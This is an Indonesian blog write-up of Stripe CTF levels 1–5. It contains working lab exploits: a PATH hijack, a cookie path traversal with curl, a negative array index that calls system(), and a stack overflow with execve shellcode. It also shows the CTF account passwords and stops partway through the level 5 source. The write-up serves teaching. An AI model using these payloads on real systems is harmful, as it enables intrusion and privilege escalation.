Hacking
Stripe CTF Level 1-5
Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.
Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.
Level 01
Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:
Welcome to the Stripe CTF challenge! Stripe CTF is a wargame, inspired by SmashTheStack I/O[1]. In /home/level02/.password is the SSH password for the level02 user. Your mission, should you choose to accept it, is to read that file. You may find the binary /levels/level01 and its source code /levels/level01.c useful. We've created a scratch directory for you in /tmp. There are a total of 6 levels in this CTF; if you're stuck, feel free to email ctf@stripe.com for guidance.
Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.
Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.
-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01
Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: Mon Feb 27 14:38:49 UTC 2012 level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: Mon Feb 27 14:38:56 UTC 2012 level01@ctf4:/tmp/tmp.jaJ1JT4TIp$
Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?
Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.
#include #include int main(int argc, char **argv) { printf("Current time: "); fflush(stdout); system("date"); return 0; }
Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.
Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.
Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p > cat /home/level02/.password' > date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date -rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: kxlVXUvzv
Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.
Level 02 Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.
Congratulations on making it to level 2! The password for the next level is in /home/level03/.password. This one is a web-based vulnerability, so go ahead and point your browser to http://ctf.stri.pe/level02.php. You'll need to provide the password for level02 using HTTP digest authentication. You can find the source code for level02.php in /var/www/.
Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.
Mari kita lihat source code aplikasinya:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | <?php function random_string($max = 20){ $chars = "abcdefghijklmnopqrstuvwxwz0123456789"; for($i = 0; $i < $max; $i++){ $rand_key = mt_rand(0, strlen($chars)); $string .= substr($chars, $rand_key, 1); } return str_shuffle($string); } $out = ''; if (!isset($_COOKIE['user_details'])) { $out = "<p>Looks like a first time user. Hello, there!</p>"; $filename = random_string(16) . ".txt"; $f = fopen('/tmp/level02/' . $filename, 'w'); $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT']; fwrite($f, $str); fclose($f); setcookie('user_details', $filename); } else { $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']); } ?> <html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p><?php echo $out ?></p> <?php if (isset($_POST['name']) && isset($_POST['age'])) { echo "You're ".$_POST['name'].", and your age is ".$_POST['age']; } else { ?> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> <?php } ?> </div> </body> </html> |
Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.
Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?
Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.
Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.
$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin landscape:x:105:109::/var/lib/landscape:/bin/false ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash postfix:x:106:113::/var/spool/postfix:/bin/false level01:x:1001:1002::/home/level01:/bin/bash level02:x:1002:1003::/home/level02:/bin/bash level03:x:1003:1004::/home/level03:/bin/bash level04:x:1004:1005::/home/level04:/bin/bash level05:x:1005:1006::/home/level05:/bin/bash level06:x:1006:1007::/home/level06:/bin/bash the-flag:x:1007:1008::/home/the-flag:/bin/bash </p> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> </div> </body> </html>
Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.
$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p>Or0m4UX07b </p> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> </div> </body> </html>
Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.
Congratulations on making it to level 3! The password for the next level is in /home/level04/.password. As before, you may find /levels/level03 and /levels/level03.c useful. While the supplied binary mostly just does mundane tasks, we trust you'll find a way of making it do something much more interesting.
Sebelumnya mari kita coba dulu aplikasi /levels/level03.
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 Usage: ./level03 INDEX STRING Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test Uppercased string: TEST level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test Lowercased string: test level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test Capitalized string: Test level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test Length of string 'test': 4 level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test Invalid index. Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test Invalid index. Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length
Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?
Berikut ini adalah source code aplikasinya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #define NUM_FNS 4 typedef int (*fn_ptr)(const char *); int to_upper(const char *str) { printf("Uppercased string: "); int i = 0; for (i; str[i]; i++) putchar(toupper(str[i])); printf("\n"); return 0; } int to_lower(const char *str) { printf("Lowercased string: "); int i = 0; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n"); return 0; } int capitalize(const char *str) { printf("Capitalized string: "); putchar(toupper(str[0])); int i = 1; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n", str); return 0; } int length(const char *str) { int len = 0; for (len; str[len]; len++) {} printf("Length of string '%s': %d\n", str, len); return 0; } int run(const char *str) { // This function is now deprecated. return system(str); } int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); } int main(int argc, char **argv) { int index; fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; if (argc != 3) { printf("Usage: ./level03 INDEX STRING\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } // Parse supplied index index = atoi(argv[1]); if (index >= NUM_FNS) { printf("Invalid index.\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } return truncate_and_call(fns, index, argv[2]); } |
Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.
Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.
Array index out of bounds Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.
Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).
Negative index array Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.
Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?
index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.
Cara 1 Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).
Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.
int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); }
Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).
$ objdump -d /levels/level03|grep call|grep eax 8048598: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 80485df: ff d0 call *%eax 804892b: ff d0 call *%eax
Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.
Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.
Jadi payload yang akan diinjeksi adalah:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08
35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?
Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.
Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.
Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.
Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.
Ternyata penyebabnya adalah non-executable stack:
$ readelf -l /levels/level03 |grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 $ fvvvvv
Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.
Cara 2
Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().
int run(const char *str) { // This function is now deprecated. return system(str); }
Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.
level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>' 0804875b <run>:
Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:
cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08
Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).
$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")" Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20, user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b") at level03.c:62 (gdb) x/12xw &buf 0xffb23f8c: 0x20746163 0x6d6f682f 0x656c2f65 0x306c6576 0xffb23f9c: 0x702e2f34 0x77737361 0x0a64726f 0x230a0a0a 0xffb23fac: 0x0804875b 0x00000000 0x00000000 0x00000000 (gdb) p &fns[-20] $1 = (fn_ptr *) 0xffb23fac (gdb) p *(fns[-20]) $2 = {int (const char *)} 0x804875b <run>
Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().
Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().
$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")" i5cBbPvPCpcP
Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.
Level 04 Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password
Congratulations on making it to level 4! The password for the next level is in /home/level05/.password. As before, you may find /levels/level04 and /levels/level04.c useful. The vulnerabilities overfloweth!
Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100') Reading symbols from /levels/level04...(no debugging symbols found)...done. (gdb) r Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch). Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
Source code dari aplikasi ini adalah:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h> #include <string.h> #include <stdlib.h> void fun(char *str) { char buf[1024]; strcpy(buf, str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: ./level04 STRING"); exit(-1); } fun(argv[1]); printf("Oh no! That didn't work!\n"); return 0; } |
Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.
Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:
[1036 byte shellcode + lain2] + [4 byte return address]
Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?
Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.
Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.
$ objdump -d /levels/level04|grep call |grep eax 8048438: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 804847f: ff d0 call *%eax 804857b: ff d0 call *%eax
Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.
Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"
Sekarang payload sudah siap, bisa langsung kita coba.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami level04 level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"') $ whoami level05 $ cat /home/level05/.password fzfDGnSmd317
Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.
Congratulations on making it to level 5! You're almost done! The password for the next (and final) level is in /home/level06/.password. As it turns out, level06 is running a public uppercasing service. You can POST data to it, and it'll uppercase the data for you: curl localhost:9020 -d 'hello friend' { "processing_time": 5.0067901611328125e-06, "queue_time": 0.41274619102478027, "result": "HELLO FRIEND" } You can view the source for this service in /levels/level05. As you can see, the service is structured as a queue server and a queue worker. Could it be that this seemingly innocuous service will be level06's downfall?
Source code aplikasi ini adalah:
#!/usr/bin/env python import logging import json import optparse import os import pickle import random import re import string import sys import time import traceback import urllib from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer LOGGER_NAME = 'queue' logger = logging.getLogger(LOGGER_NAME) logger.addHandler(logging.StreamHandler(sys.stderr)) TMPDIR = '/tmp/level05' class Job(object): QUEUE_JOBS = os.path.join(TMPDIR, 'jobs') QUEUE_RESULTS = os.path.join(TMPDIR, 'results') def __init__(self): self.id = self.generate_id() self.created = time.time() self.started = None self.completed = None def generate_id(self): return ''.join([random.choice(string.ascii_letters) for i in range(20)]) def job_file(self): return os.path.join(self.QUEUE_JOBS, self.id) def result_file(self): return os.path.join(self.QUEUE_RESULTS, self.id) def start(self): self.started = time.time() def complete(self): self.completed = time.time() class QueueUtils(object): @staticmethod def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job @staticmethod def serialize(direction, data, job): serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job)) logger.debug('Serialized to: %r' % serialized) return serialized @staticmethod def enqueue(type, data, job): logger.info('Writing out %s data for job id %s' % (type, job.id)) if type == 'JOB': file = job.job_file() elif type == 'RESULT': file = job.result_file() else: raise ValueError('Invalid type %s' % type) serialized = QueueUtils.serialize(type, data, job) with open(file, 'w') as f: f.write(serialized) f.close() class QueueServer(object): # Called in server def run_job(self, data, job): QueueUtils.enqueue('JOB', data, job) result = self.wait(job) if not result: result = (None, 'Job timed out', None) return result def wait(self, job): job_complete = False for i in range(10): if os.path.exists(job.result_file()): logger.debug('Results file %s found' % job.result_file()) job_complete = True break else: logger.debug('Results file %s does not exist; sleeping' % job.result_file()) time.sleep(0.2) if job_complete: f = open(job.result_file()) result = f.read() os.unlink(job.result_file()) return 